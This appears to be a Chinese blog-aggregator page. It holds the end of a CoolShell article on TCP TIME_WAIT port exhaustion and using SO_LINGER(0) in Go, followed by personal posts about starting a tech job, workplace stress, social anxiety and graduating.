试想,如果我们以 10秒为周期探测10K的结点,如果TIME_WAIT的超时时间是120秒,那么在第60秒后,等着超时的 TIME_WAIT 我们就有可能把某个IP的端口基本用完了,就算还行,系统也有些问题。(注意:我们不仅仅只是TCP,还有HTTP协议,所以,大家不要觉得TCP的四元组只要目标地址不一样就好了,一方面,我们探的是域名,需要访问DNS服务,所以,DNS服务一般是一台服务器,还有,因为HTTPS一般是探API,而且会有网关代理API,所以链接会到同一个网关上。另外就算还可以建出站连接,但是本地程序会因为端口耗尽无法bind了。所以,现实情况并不会像理论情况那样只要四元组不冲突,端口就不会耗尽)

为什么要 TIME_WAIT

那么,为什么TCP在 TIME_WAIT 上要等待一个2MSL的时间?

以前写过篇比较宏观的《TCP的那些事》(上篇下篇),这个访问在“上篇”里讲过,这里再说一次,TCP 断链接的时候,会有下面这个来来回回的过程。

我们来看主动断链接的最后一个状态 TIME_WAIT 后就不需要等待对端回 ack了,而是进入了超时状态。这主要是因为,在网络上,如果要知道我们发出的数据被对方收到了,那我们就需要对方发来一个确认的Ack信息,那问题来了,对方怎么知道自己发出去的ack,被收到了?难道还要再ack一下,这样ack来ack回的,那什么谁也不要玩了……是的,这就是比较著名的【两将军问题】——两个将军需要在一个不稳定的信道上达成对敌攻击时间的协商,A向B派出信鸽,我们明早8点进攻,A怎么知道B收到了信?那需要B向A派出信鸽,ack说我收到了,明早8点开干。但是,B怎么知道A会收到自己的确认信?是不是还要A再确认一下?这样无穷无尽的确认导致这个问题是没有完美解的(我们在《分布式事务》一文中说过这个问题,这里不再重述)

所以,我们只能等一个我们认为最大小时来解决两件个问题:

1) 为了 防止来自一个连接的延迟段被依赖于相同四元组(源地址、源端口、目标地址、目标端口)的稍后连接接受(被接受后,就会被马上断掉,TCP状态机紊乱)。虽然,可以通过指定 TCP 的 sequence number 一定范围内才能被接受。但这也只是让问题发生的概率低了一些,对于一个吞吐量大的的应用来说,依然能够出现问题,尤其是在具有大接收窗口的快速连接上。RFC 1337详细解释了当 TIME-WAIT状态不足时会发生什么。TIME-WAIT以下是如果不缩短状态可以避免的示例:

由于缩短的 TIME-WAIT 状态,后续的 TCP 段已在不相关的连接中被接受(来源

 

2)另一个目的是确保远端已经关闭了连接。当最后一个ACK​​ 丢失时,对端保持该LAST-ACK状态。在没有TIME-WAIT状态的情况下,可以重新打开连接,而远程端仍然认为先前的连接有效。当它收到一个SYN段(并且序列号匹配)时,它将以RST应答,因为它不期望这样的段。新连接将因错误而中止:

 

如果远端因为最后一个 ACK​​ 丢失而停留在 LAST-ACK 状态,则打开具有相同四元组的新连接将不起作用 (来源

TIME_WAIT 的这个超时时间的值如下所示:

  • 在 macOS 上是15秒, sysctl net.inet.tcp | grep net.inet.tcp.msl
  • 在 Linux 上是 60秒 cat /proc/sys/net/ipv4/tcp_fin_timeout

解决方案

要解决这个问题,网上一般会有下面这些解法

  • 把这个超时间调小一些,这样就可以把TCP 的端口号回收的快一些。但是也不能太小,如果流量很大的话,TIME_WAIT一样会被耗尽。
  • 设置上 tcp_tw_reuse 。RFC 1323提出了一组 TCP 扩展来提高高带宽路径的性能。除其他外,它定义了一个新的 TCP 选项,带有两个四字节时间戳字段。第一个是发送选项的 TCP 时间戳的当前值,而第二个是从远程主机接收到的最新时间戳。如果新时间戳严格大于为前一个连接记录的最新时间戳。Linux 将重用该状态下的现有 TIME_WAIT 连接用于出站的链接。也就是说,这个参数对于入站连接是没有任何用图的。
  • 设置上 tcp_tw_recycle 。 这个参数同样依赖于时间戳选项,但会影响进站和出站链接。这个参数会影响NAT环境,也就是一个公司里的所有员工用一个IP地址访问外网的情况。在这种情况下,时间戳条件将禁止在这个公网IP后面的所有设备在一分钟内连接,因为它们不共享相同的时间戳时钟。毫无疑问,禁用此选项要好得多,因为它会导致 难以检测诊断问题。(注:从 Linux 4.10 (commit 95a22caee396 ) 开始,Linux 将为每个连接随机化时间戳偏移量,从而使该选项完全失效,无论有无NAT。它已从 Linux 4.12中完全删除)

对于服务器来说,上述的三个访问都不能解决服务器的 TIME_WAIT 过多的问题,真正解决问题的就是——不作死就不会死,也就是说,服务器不要主动断链接,而设置上KeepAlive后,让客户端主动断链接,这样服务端只会有CLOSE_WAIT

但是对于用于建立出站连接的探活的 EaseProbe来说,设置上 tcp_tw_reuse 就可以重用 TIME_WAIT 了,但是这依然无法解决 TIME_WAIT 过多的问题。

然后,过了几天后,我忽然想起来以前在《UNIX 网络编程》上有看到过一个Socket的参数,叫 <code>SO_LINGER,我的编程生涯中从来没有使用过这个设置,这个参数主要是为了延尽关闭来用的,也就是说你应用调用 close()函数时,如果还有数据没有发送完成,则需要等一个延时时间来让数据发完,但是,如果你把延时设置为 0  时,Socket就丢弃数据,并向对方发送一个 RST 来终止连接,因为走的是 RST 包,所以就不会有 TIME_WAIT 了。

这个东西在服务器端永远不要设置,不然,你的客户端就总是看到 TCP 链接错误 “connnection reset by peer”,但是这个参数对于 EaseProbe 的客户来说,简直是太完美了,当EaseProbe 探测完后,直接 reset connection, 即不会有功能上的问题,也不会影响服务器,更不会有烦人的 TIME_WAIT 问题。

Go 实际操作

在 Golang的标准库代码里,net.TCPConn 有个方法 SetLinger()可以完成这个事,使用起来也比较简单:

conn, _ := net.DialTimeout("tcp", t.Host, t.Timeout())

if tcpCon, ok := conn.(*net.TCPConn); ok {
    tcpCon.SetLinger(0)
}

你需要把一个 net.Conn  转型成 net.TCPConn,然后就可以调用方法了。

但是对于Golang 的标准库中的 HTTP 对象来说,就有点麻烦了,Golang的 http 库把底层的这边连接对象全都包装成私有变量了,你在外面根本获取不到。这篇《How to Set Go net/http Socket Options – setsockopt() example 》中给出了下面的方法:

dialer := &net.Dialer{
    Control: func(network, address string, conn syscall.RawConn) error {
        var operr error
        if err := conn.Control(func(fd uintptr) {
            operr = syscall.SetsockoptInt(int(fd), unix.SOL_SOCKET, unix.TCP_QUICKACK, 1)
        }); err != nil {
            return err
        }
        return operr
    },
}

client := &http.Client{
    Transport: &http.Transport{
        DialContext: dialer.DialContext,
    },
}

上面这个方法非常的低层,需要直接使用setsocketopt这样的系统调用,我其实,还是想使用 TCPConn.SetLinger(0) 来完成这个事,即然都被封装好了,最好还是别破坏封闭性碰底层的东西。

经过Golang http包的源码阅读和摸索,我使用了下面的方法:

client := &http.Client{
    Timeout: h.Timeout(),
    Transport: &http.Transport{
      TLSClientConfig:   tls,
      DisableKeepAlives: true,
      DialContext: func(ctx context.Context, network, addr string) (net.Conn, error) {
        d := net.Dialer{Timeout: h.Timeout()}
        conn, err := d.DialContext(ctx, network, addr)
        if err != nil {
          return nil, err
        }
        tcpConn, ok := conn.(*net.TCPConn)
        if ok {
          tcpConn.SetLinger(0)
          return tcpConn, nil
        }
        return conn, nil
      },
    },
  }

然后,我找来了全球 T0p 100W的域名,然后在AWS上开了一台服务器,用脚本生成了 TOP 10K 和 20K 的网站来以5s, 10s, 30s, 60s的间隔进行探活,搞到Cloudflare 的 1.1.1.1 DNS 时不时就把我拉黑,最后的测试结果也非常不错,根本 没有 TIME_WAIT 的链接,相关的测试方法、测试数据和测试报告可以参看:Benchmark Report

总结

下面是几点总结

  • TIME_WAIT 是一个TCP 协议完整性的手段,虽然会有一定的副作用,但是这个设计是非常关键的,最好不要妥协掉。
  • 永远不要使用  tcp_tw_recycle ,这个参数是个巨龙,破坏力极大。
  • 服务器端永远不要使用  SO_LINGER(0),而且使用 tcp_tw_reuse 对服务端意义不大,因为它只对出站流量有用。
  • 在服务端上最好不要主动断链接,设置好KeepAlive,重用链接,让客户端主动断链接。
  • 在客户端上可以使用 tcp_tw_reuse  和 SO_LINGER(0)

最后强烈推荐阅读这篇文章 – Coping with the TCP TIME-WAIT state on busy Linux servers

(全文完)

(转载本站文章请注明作者和出处 酷 壳 – CoolShell ,请勿用于任何商业用途)

The post 从一次经历谈 TIME_WAIT 的那些事 first appeared on 酷 壳 - CoolShell.

by 陈皓 at July 19, 2022 06:43 AM

June 25, 2022

ihewro

入职三天后:从一年只做一件事开始

本来这篇是上周就已经写完,但是一直没有时间稍作修改发布。巧的这周三我正式入职(之前是在实习,因为没收到毕业双证),周六正好大学时候的几个室友又一起聚了,因此本文前半段会一起聊聊从实习到转正的心态变化以及一些所思所感,后半段则是上周写的内容。

原标题“工作不适应综合症”,起了这样的一个标题的原因是在2019年我的研一入学的时候,我写了一篇[post cid=970 size="small"] 。而这次正好是刚刚工作应景,写一些烦心的事情。

久违的相聚

因为上半年疫情+实习,在学校里面的出不了校,在家的也一般是居家办公,因此没什么机会一起吃个饭。上周正好是大家毕业周,但是上周不是所有人有空,因此约着这周这一顿饭。大学宿舍一共六个人,其中四个人留在了北京,我和另一位本科毕业后读研了,而剩下两位则是直接参加了工作,已经是工作三年的“职场老人”。

见面吃饭聊的比较多的自然就转成了“工作”,一边有些感叹是“裁员”大环境的无可奈何,一边是讨论工作中的”压力“大不大。没有读研的两位不在所谓的”大厂“工作,因此工作压力要少很多,每天6-7点就能下班,实在是让我感叹不已,其中一个所在的公司甚至没有绩效考核,还抱怨每天做的事情太过简单,属实让我羡慕一把了(我现在的工作压力情况会在part2 简单介绍)。

因为我所在部门是“飞书”,属于企业工具,就闲聊问问他们公司用的什么工作,还真有一个是飞书,另一个是钉钉,还有用企业内部工具。其中一个对“飞书”非常不了解,就和我当初没来飞书之前一样,问是叫“飞书”、“飞鸽”还是“飞信”,哈哈哈,一下子起了两个新的名字。

我在来飞书之前,只是模糊的听说和notion有点类似,并不知道飞书是什么东西。实习前特意下载了,第一感觉这不就是一个企业IM吗,还是一个不出名的企业IM吗。当然随着了解越来越多,就会知道飞书不仅仅是IM、飞书文档、视频会议,而是企业办公一站式的解决方案。因此它的目标客户只是B端企业,因此将它和notion、企业微信比较是没有意义的。只是钉钉面向学生、教师的群体让这类企业办公工具更加的c端话,以至于大家知道飞书文档都会去和c端产品比,评价两个软件的细节。这个没什么问题,c端用户可以享受不收费的红利,但是相比较其他c端产品我个人觉得没有那么适合个人使用(非要用不是不行,也有一些其他软件没有细节亮点)。

虽然有点扯远了,还是再解释一下为什么说将飞书与notion、企业微信(至少目前是)相比是没有意义的呢。比如说一个企业想要找一个办公软件,是会选择飞书还是notion呢,显然notion功能单一,不能胜任这个工作。选择飞书还是企业微信呢,显然企业微信的功能并不够统一,比如腾讯文档、腾讯会议与企业微信分别属于不同的团队,不够互通。只有钉钉和飞书是一直朝着一站式的企业办公解决方案走的。当然企业微信目前也在整合这些业务,目前来看体验没有钉钉和飞书好。

回到之前的话题,朋友对飞书不了解这告诉我一个道理是,当我们进入一个行业开发的时间太长的时候,总会以为自己做的事情所有人都知道,自己做的事情的价值很大,因为每天都围绕着这转,并且只接受到好的消息,但事实上是这个行业或者产品到底给用户带来多大的价值可能会被错误估计的。

我和另一个使用飞书办公的朋友聊天,说飞书最新发布了三栏结构,增加标签的功能。他说标签不就是分组的功能吗,三栏对他来说没有任何影响/变化,他自己也用不到标签。

吃完饭后,本来想直接去看看电影,结果没有那个时间点的场次,就提议去我住的地方坐会,然后再一起去看电影。

来到我住房的地方,我之前买过PICO VR一体机,其中一个朋友没玩过,就让他试玩游戏了。和另一个同学就坐在沙发上闲聊。问他知道notion吗,平时怎么记笔记,他说他不记笔记,不知道notion,这里并不是说知道notion怎么牛逼,而是从这个对话中会发现自己的一些认知可能在别人的那里就根本是错误,或者是不必要的。对于我来说工作过程中就会一直产出文档,在开发需求的时候,就会边开发边记录开发细节,开发逻辑,开发需要注意的点,都是在边写代码,边完善文档。因此记录对于我来说一件非常重要的事情。但是对于别的开发来说,他们完全不需要记录,也仍然能做好工作,因此”冗余/过度“记录是否有必要。

我常说我是一个酷爱寻找“效率软件”来帮助我生活的人,但这些效率软件是否真正提高了个人效率,个人能力是需要思考的。并不是否认这些软件的价值,而是不应该过度放大工具的价值,这对我来说也是一个提醒。就比如熟悉我的人会知道我的笔记软件在这七年里已经换了好几个:typoro、mweb、bear、craft、notion。这个过程同样尝试了很多其他的软件,比如思源笔记、印象笔记、有道云、obsidian等等。

最后,我们去看了“人生大事”的电影。虽然是老生常谈的道理:人生只有生死是最大的事情,其他的荣辱名利都是过眼云烟,开头的一些片段还是让我有些觉得蒙蔽麻木太久的心被稍稍唤醒了一些。一丢丢情节和“入殓师”很像,比如一开始看不上丧葬行业,后面才了解丧葬行业的神圣,但是中间掺杂了很多情节,有些情节就感觉不太现实就让人有点出戏。没有像入殓师揪着一个点深挖下去。总体来说是矮个里拔将军,其他的同期电影也没有什么好看的了。

转正前后的心态变化

其实6月24号我就拿到了双证。本来是打算休息一段时间,然后再转正。一方面是手上的一个需求没结束,另一方面是休息也不知道干什么,怕是纯纯浪费时间。因此纠结两天后就转正了

实习的时候心态总有种过渡依赖mentor的感觉,并且没有太多的自主性。比如总觉得自己写的代码出问题总有别人兜底,自己做不好也没什么影响(毕竟我已经拿到offer了)。

转正后第一个区别是,请假可以在系统上填写了。实习生请假是直接和mentor说一下就行,并且只有事假,是没有工资的。但是正式员工有一些带薪假期可以请,并且请假后,飞书上会有请假的红色标识。

第二个让我觉得变化的点是,从转正开始,既是承担的责任更多,同时也与其他的同事关系更平等了,尽管水平还是有很多向别人学习的地方,但是就是比实习时候的拘谨好很多,不知道是怎么一回事。

字节的工作时间美其名曰是“弹性工作制”,换句话说“你把工作做完就行,想什么时候下班就什么时候下班”。但这完全是不现实的。对于初入职场的新人来说,什么就做“把工作做完”?包含两层含义,第一层是当前的需求能够按照预期截止时间推进,bug 能够预期修复,第二层是没有新的知识需要学习了。

在互联网公司,排期一般至少不多,基本不存在本来一周可以做完的事情可以排两周做完,除此之外还有很多时候是超出预期,比预期时间要长的情况。因此第一层的“把工作做完”就很难达到。

可能你会说,“你能力强一点,效率高一点不就能提前做完,然后早下班吗“。这其实是一个非常好的问题。能力变强,效率变高,这个提升是不能凭空出现的,尤其是对于初入职场的人来说,是没办法做到的,因此只能额外”自愿加班“来达成能力变强、效率变高这个过程。

抖音今天看到的一个视频也是类似的观点,你只有达到80分以上,才有资格装成60分的能力去躺平,如果你才是60-70分,你想躺平只能是被裁或者是低绩效的命运。

我不反对卷,但是旗帜鲜明的反对因为自己卷影响他人的行为。比如你自己偷偷回去资源加班,偷偷把自己活提前干完,甚至多干完,一点问题都没有,多劳多得。但是你不能把自己卷的行为push到别人身上,比如拉别人额外加班干活,比如把自己活额外push给别人。这一点是极其没有职场道德的行为,而为了绩效考评的360环评不那么难看以及职场关系不弄的那么僵,大多时候只能忍了。

而我现在就遇到这么一个卷别人的QA让人难受不已。研究生期间我们实验室实际上就是一个公司,东信北邮的公司,也会做项目,有测试部门,工作流程是产品提需求,测试去写案例,然后开发完成后,测试去测问题,有问题就会提bug,并且有详细的复现路径。简单来说QA和开发是几乎没有太多交集的地方,各干各的,出了测试用例评审的地方。

但是我在遇到的这位QA呢,一开始对需求不清楚,要研发去和QA说需求的原理是什么,而不是产品经理,这个我忍了,因为这个需求是技术需求,不是产品经理提出的,产品经理实际上也只知道交互逻辑,而不知道技术细节。和QA说话需求背景后,我一个个的去和QA写场景,换句话说大部分需要测的场景我都口述给她,然后她整理记录一下。好的这个我也忍了,你对流程不熟悉。接着开始测试又是一堆操作不知道怎么弄,一个个问我我也忍了,毕竟这个操作是比较复杂。接着测试出bug,一个个的和我说,我这正调试这代码看一个问题呢,反手就是一个加急,问这个流程是否符合预期。有的流程我都说了至少2遍,还在问是不是符合预期,就感觉我说了一个寂寞。让写一个测试报告,把出现的问题,复现场景记录一下,QA和我说没时间???这不就是你们干的活,你和我说没时间,要我一个个和她对去解决,出现一个问题,就要拉我去前台面对面去对,你是不会打字吗还是飞书没有语音没有飞书会议的功能啊。

因此上周我的工作体验极差极差,每天和QA对半天,然后我调试过程中反复被打扰,到了下班,还一个劲的给我发消息,你有这时间整个一个测试文档不行吗,整个工作的素质极差,我不理解。因此只能下班后回住的地方去看日志,调bug,几乎每天都是深夜才能修完提出的问题。

这是我自从来字节后最难受的一周,因为之前做需求QA也不会是这样啊,有问题都是提文档,然后研发一个个的去看,如果研发对复现流程不熟悉就会去评论文档,再对一下,哪是出现一个问题,就加急研发啊。周末还要求我带电脑回家操作,我整一个无语。给我的感觉就是极其不专业,极其没有职场边界感。

(抱歉吐槽这么久,如果我是实习生,我都不会理她,但是正式员工就要背负着绩效的压力)

目前最希望的事情就是尽快的结束这个需求。·

一年只做一件事情

为什么要着重强调这一点,就是因为上周的工作,让我陷入了短暂的迷茫。有的时候被一些烦心事给蒙蔽了双眼,就会失去方向。2022年我唯一要做的事情非常明确,就是对chromium项目以及相关业务的深入研究与学习。

这个是核心目标,我所做的一切需求和工作都要推进这件事情,如果没有推进这件事情,可能就得停下来思考,我所做的事情的是不是值得让我们如此痛苦和高优,反之,只要是在推进这件事情,就无须担心太多其他事情是否做的太慢。

即时应变的能力

从这里开始的内容,为上周所写,因此时间线是从上周六开始的

尽管从五一后就开始继续实习,但在端午节后(六月六号)才开始正式回工区上班。一开始以为北京端午后疫情就要结束,事实上官方和大多数人都是这么认为的,结果没过两天,天堂酒吧有一个疫情链快速扩散到多个区,以至于到写此文时,仍然每天都有零星的本土病例,看每天的“收尾阶段”的新闻都已经快看乏了。

但尽管如此,回工区的事情没有再中断过。回工区了,理论上吃饭问题不用愁了,公司食堂的饭菜说不上多好吃,但其实比外卖还是好一些的,并且不用选择困难吃什么。而且,按道理在公司多专注一些,也可以下班后有片刻的休息,而不至于一天都处于“半工作”的状态。

我是更喜欢居家办公的环境,尽管诸多不便,但是可以有自己的节奏,这对我来说是非常重要的。想起中考之前和朋友说,所有考试中最讨厌的是英语听力和体育(短跑),原因在于这两门没有自己的节奏,必须在高压之下保持特别高的专注力,并且容错性极低。这其实是“即兴思考与反应“的一种能力,却是我欠缺的。

社交压力

工区上班还有一个让人头痛的事情就是社交。

leader 和 mentor 坐在我的工位左右,而我又是一个社恐,尽管mentor人真的很好,有事无事和我说话,也不怎么push我,可以说给足我成长和学习的时间。ld 也为人比较温柔。

但是社恐的内耗一般人可能难以想象,就连每天碰面,要不要打个招呼这个事情也会纠结半天,如果最终没有打招呼,心里还会纠结半天。这些内耗快要吞噬了我自己,让我耗费的大量不必要的精力。

社恐的人也许在一些时刻特别羡慕其他人,在群体的时候,羡慕他们侃侃而谈,羡慕他们谈笑风生,羡慕他们能够自由的表达、展现自己想法、情绪。

社交的压力对我来说非一日之寒,也非一时可以解决。首先需要的是正式自己的不足,社恐在社会场景、社交场景下固然是不利,但这并不表示社恐就不是正常人。难道是人就一定得活泼外向吗,当然不,我也很感谢目前的团队也并没有主动给我一些社交压力,反而mentor和一些同事还会主动找我交流。其次工作场景下,做好自己工作,保证一定的基本礼貌(比如见面打招呼)才是关键。即使你说的再说,能力低下也只是一个花瓶迟早会被淘汰,所以找准自己定位,找准自己的目标,降低自己的期望,不要总想着自己要成为一个多么外向的人,而是前进一小步,比如见面主动打招呼,不逃避,就是一个很好的开端。所以找到一个可以进步的小目标是很重要的,从一件小事开始,可以记录一周主动打招呼的次数,一周主动找人帮忙的次数,又或者是给人发消息的迟疑时间等等。如果觉得不舒适,自然可以退出一些氛围减少接触,其实大家都各忙各的,也不会太觉察到别人,但保持基本的社交礼仪还是非常重要的,否则在后续合作中会非常麻烦。

未来的掌握权

其实我并不是第一天去上班,如果熟悉我的人会知道,去年5月份我就在字节实习,一直到10月份中旬才结束开始了毕设。现在只是毕业结束,继续开始工作而已。但这一次的体验确不一样。

中午吃完饭和同事(也是一个实习生,北大研二)闲聊说,有点羡慕他们现在压力没有那么大。其实不过是我无心之语,但是他反问道,我现在压力很大吗。我愣了一下,顺着就说现在的压力和当初实习的时候不一样,当时没有细想。现在回过头来想不一样倒是哪里不一样呢。实习的时候,唯一的目标就是好好表现,争取转正可以有个好的结果,不会有别的想法,事实上那段时间,只想着把每天的事情做好,并且那时候我所做的事情虽然有挑战,但是难度上都不算难,只能说复杂,属于只要肯花时间,谁都能做好,只是看条理程度罢了。

而如今我的目标变得模糊,艰难从毕业的目标中跳出,仿佛不知道怎么的就稀里糊涂的就开始上班了,也许是随大流,大家都开始上班了(事实上我可以请假一段时间,在8月前入职即可),而我又没有什么事情,就开始上班了。目前手上的活还远没有一些正式员工忙碌,但仍然几乎填满每天的时间。每天早上不想上班,忍到最后一刻出门,然后期待下班,回家后又开始不知该做什么事情填满剩余的时间。

没有目标可能是很多年轻人包括我存在的问题,其实也许我们太看重目标的意义,反而会迷失于此。

讲个故事,每每当我觉得渐渐失去对生活的掌握权的时候,我都特别想要寻找一个新的工具,可能是文档工具或者TODO工具,总是寄希望于工具本身来改变我的生活,但一次又一次的经历告诉我,“工具本身不重要”。今天我重新打开“滴答清单”的时候,我看到了一些很久之前放到“以后再说“的标签下的任务,比如”购买一辆电动车“。

我一直想买一辆,但是一直没有买,除了很贵不确认自己是否真的需要,而且充电又很麻烦,所以一直搁置。但是每次出门的时候又真的希望自己有一辆电动车,如果有的话,那么生活的品质真的会提高很多。所以“工具”帮助了我什么呢,帮我把一个个愿望存档到一个标签下,安慰自己以后会去做,实际上这辈子都不会去做。“工具”让我花费大量时间看上去将生活捋顺,但实际上没有任何“行动”。

似乎有点偏题了,但事实我想说的是我们要关注事情的本质,而非表面。我们需要TODO工具,是希望帮助我们避免遗忘事情,提高执行能力完成事情,减少生活压力与焦虑提高生活质量,而不是表面看上去一切任务井井有条但是没有任何行动。如果是这样,另可把这些时间用来做一件切实可行的小事。同样的是我们需要找到一个目标,一定是空洞虚无的,比如“我三年内要赚多少多少钱,要晋升到什么岗位”,这些大的目标在开始的时候只能给自己带来无限的压力和焦虑,而不能促成任何事情的推动。

有段时间睡觉特别焦虑,觉得自己的压力很大,如果看过我之前写的一些文章就会知道我家庭经济情况不好(尽管我目前没有经济问题),父母因为前几年的一些决策问题,导致现在还背负很多的房贷(每个月9千多),而且他们年纪都慢慢大了,肉眼可见的身体变差,变老。有段时间睡觉前想自己无能不能改变现状,很心酸又很无奈。但现在我慢慢的不去想这些事情,因为没有任何意义。着眼于每一天做的事情,比如多看一页的c++ primer,多充实一点生活,多执行了一件事情等等。

生活的目标从来不需要多么遥远,从一件可以量化的小事开始。

最后

今天可能是北京温度最高的一天,最高温度达到了40摄氏度。尽管如此我今天申请回校收拾行李,然后顺路可以一些同学拍了毕业照。女生们真的很有技术,有单反和拍立得。还借了硕士服,真的很幸运的是赶上他们一波在毕业的尾声的时候拍了一些照片。尽管我是不怎么在意“隆重的仪式感”,但是没经过一个节点能有一些纪念也是值得回味的。

回宿舍“拾遗”的时候,发现我的一个奇妙行为:当你拥有很多的时候,你就不去珍惜。比如宿舍里有一堆口罩(大概200多个),因为我们学校每隔一段时间就会发好几十个,而宿舍上半年好几个人都没来。我看到的第一反应不是说装起来,而是不想要。但这个是很反常的。公司每天只可以领一个,我每天都会去领一个,之前租房的时候我还特意买了50个,价格也是几十元并不便宜,还是心疼。而现在宿舍里有一堆口罩我居然第一反应是不想要。。。除此之外,还有床上的枕头(我之前买的海绵枕头也快100),秋天的衣服,我第一反应都是怕麻烦不想要,但事实上这些东西都是之前我花费不少精力和财力购买的。租房的时候还因为要不要买个好一点的枕头纠结了两天。也许真的是当我们身处拥有很多的时候我们不会珍惜。再举个例子,在公司的时候因为有饮料补贴,一瓶7元的饮料,补贴后大概1~2元。而平时我很少买、喝饮料就是因为很贵,根本不舍得,但是身在公司的时候却没有特别想要买的欲望,反而回到住房的时候才又发觉。所以很多事情当我们有“拥有”的条件的时候,反而呢我们就觉的它的价值低了,就习以为常,觉得平常了。当我们得不到的时候,价值不高的事情都会当个宝一样的渴求,这不就是“贱”吗…… 后来我把我平时需要的东西都带回来了。

周五的中午时候,组内的一个小团建吃饭,ld 提了一个问题,如果面试的时候问“你最委屈的一件事情,你会怎么回答“,前面说了我是非常欠缺这种临场发挥的场景的,而每个人都要说一段。这个问题一开始其实就不是让你真正的回答你委屈的故事,面试官想听的是你为什么委屈,以及你是怎么解决这个委屈的,并且从你解决委屈的方法里来看出你的能力,比如主动学习,主动沟通等等能力,这才是关键。前面人说了我又不想重复说,也不想拙劣的模仿编一个,而后问了我两次才憋出一个,事实上等我讲完之后,我的脑海里又忽然冒出几个可以说的委屈的故事,但那个时候就是头脑一片空白。这种小团建其实一眼就能看出每个人的性格、能力。有的人即使不会也能侃侃而谈说出一些,有的人临场不慌就能说出一个不错的及格以上的答案,而有的人提前就有这个问题的准备,更是条理表达清晰。只能说在这个方面我还有很多需要提高的地方。

最近几周在YouTube上看完了红楼梦87版本的电视剧,然后就给我推“女王泡面”讲解“鬼本”的视频,看了很多集,觉得恰是有意思,每个人物背后的历史背景和细节尽然能如此之多,让我大呼吃惊。接着这周就开始给我推另一个up主反驳“鬼本”的视频,也是有点无语,但更要命的是讲的也很有道理。原因其实是因为论点是他们提出来的,论据也是他们提出来的,而每个视频显然只会找出支持他们各自论点的论据,而作为观众的我自然都能被他们说服。

那么,这次就先说到这

by 友人C at June 25, 2022 04:53 PM

June 18, 2022

yangcongchufang

有关于近期的生活,近期的我

恍惚间已经混走了半年。 盘点一下。

工作

  1. 全身心投入工作。
  2. 工作产出一日一更新,日报倒逼着每天都要出点成果。
  3. 两个敬佩的同事离职了。
  4. 工作时间严重超时,心脏开始有点不舒服了。
  5. 心态崩过,自主修复。

生活

  1. 没有生活
  2. 因为没有生活,有点打扰到爹妈生活
  3. 搬到呼和浩特,准备呆三个月看看

学习

  1. 没有学习,技术栈没有成长太多

思考

  1. 以德报德,以牙还牙
  2. 丢失自己的状态
  3. 胆子小,太想成事。或者说,太想成事,导致胆子小

June 18, 2022 12:00 AM

June 05, 2022

ihewro

毕业之前 II

[scode type="blue" size="simple"]2022.6.5 晚上通知从明日开始正式回工区上班了[/scode]

终于毕业了,从去年10月份开始就着急的毕业论文到中期答辩、今年3月份初审、院盲审、最后的最终答辩,重重关卡,终于顺利毕业,这其实是我心中最重要的一个石头,终于落地。

因为我已经在家3个月,因为北京疫情也不能回学校,学校的行李都是让人打包邮寄回家的…所以基本没什么离校的伤感。五一过后也继续开始了实习,等拿到毕业双证后,就可以了正式入职了。

但是毕业作为一个人生中重要的节点,还是想写点什么。

但是提起“笔”,却感觉什么也写不出来了。回看2019年本科毕业写的文章 [post cid="950" cover="" size="small"/] ,矫情杂糅写了1万多字,尽管在读起来也是多半无病呻吟。因此,不想再写那些矫情的话了,写一写近况。

[hplayer]
[Music server="netease" id="29732045" type="song"/]
[/hplayer]

毕业之后

本来毕业后是有一个高中同学准备来北京玩几天,但是目前北京疫情一直没有结束,这件事情就悬了。本来是想着端午节后疫情就该差不多了,因此在公司附近租了一间房子,从6月6号开始起租,但是离回工区办公还至少得有两周。

这次毕业,真的是两只脚都踏入社会了。处在学校中的自己不工作、不租房不了解当完全所有的事情都由自己负责、自己安排,所有责任都由自己承担是一种什么样的感觉。即使工作不顺利、租房烦恼多,这些事情也只能自己慢慢消化了。

工作

五一后的工作,让我一下子就又置身与去年实习的工作忙碌之中,一旦开始工作起来,就真的很多时间都被吞噬掉,而无暇自怨自艾了。这不知道是一种悲哀还是一种成长。前几天看到了一张图,很以为然,然而也无可奈何。

时间也许不会治愈什么,它只会让曾经你认为重要的,变得不再重要。

当工作的时候,周末的意义才会变得重要起来。周末的两天不用担心其它任何工作事情的ddl或者压力。

前一阵子四月的时候,参加了公司组织的员工关怀活动,一个简单的心理活动,每天写上三件好事,坚持14天可以获得一个鼠标垫,坚持21天可以获得一件T恤,每天写的三件好事的主题会根据这个课程内容会略有变化。尽管这个阶段有一些天,写的比较水,但还是坚持下来了。现在看来似乎没有显著变化,也许是潜移默化的深远影响也未能可知。

三件好事的记录列表 :size=60%

“硬着头皮”

其实人与人的差别不大,每个人从出生到青春期到成人,尽管生活环境、细节天差地别,但是总体的烦恼、想要的欲望确实大抵不会相差太多(特例另说)。小的时候希望什么时候可以逃出家长的控制,高中时候可能会情犊初开,还有学业上的压力,大学也可能陷入自我主义的泥潭,而孤独则是陪伴一身的课题。我不太相信有人没有体会过孤独的感觉,只不过有些人会主动找些事情来变得“无暇”孤独罢了。

因此,懒与贪是每个人的陋习,但是为什么人与人又天差地别,有的人活得潇洒自在,有的人活得自怨自艾,胆小怕事。这大抵从每件小事累计而成的。

同样一件事,两个人因为不同的外部压力(或者自我约束),一个人硬着头皮做完了,另一个人因为懒而放弃,尽管两人在遇到新的事情都会觉得麻烦,觉得困难,但是结果却截然不同。

写下这一点是告诫自己的事,在职场中需要谦虚,但不必卑微。很多技能我确实还不会(比如Windows平台的调试技巧),但是并不是别人有三头六臂或者其它神通,而是因为别人多“硬着头皮”去做,而我也只需“硬着头皮”去做,就没有什么做不好的。

除去工作上,需要有“硬着头皮”的不怕畏难情绪,生活上也是如此,别人的生活过的好一点,只不过别人多逼迫了自己一把而已,或许是周末的时候“逼迫”了自己打扫了房间,因此阳光能更好晒进屋里,也许是“逼迫”了自己一把,精心挑选与购买了自己喜欢的装饰或者花草,因此屋子里能有更多生气。这些事情虽然不是什么大学问,但是都是需要“动起来”才能完成的。

之前看到过很多“离开舒适圈”的反讽的段子,比如“你能离开舒适圈吗,让我进来”来反讽上一辈对我们的劝告,但是就我个人所言,需要辩证看什么是“舒适圈”与“懒惰圈”,如果是精心经营打理自己的生活,那一定是不能懒惰,同样,懒惰带来的结果就一定不舒适的。三月、四月的时候,我一直在家,很少锻炼,就会发现很容易生病,经常小感冒之类的,还有四体非常的酸乏,尤其是早上醒来的时候,这些不仅不舒服,而且是一种“恶性循环“。

越不锻炼身体越差,身体越差就越不锻炼,生活中很多事情都是如此。越熬夜,白天精神越差,事情只能留到晚上熬夜做,因此就熬夜越深。

而”硬着头皮“去打破这种循环,才是生活走向舒适圈的一个正轨。

未来的遐想

身处在时代洪流中的我们,往往感受不到时代的变化。

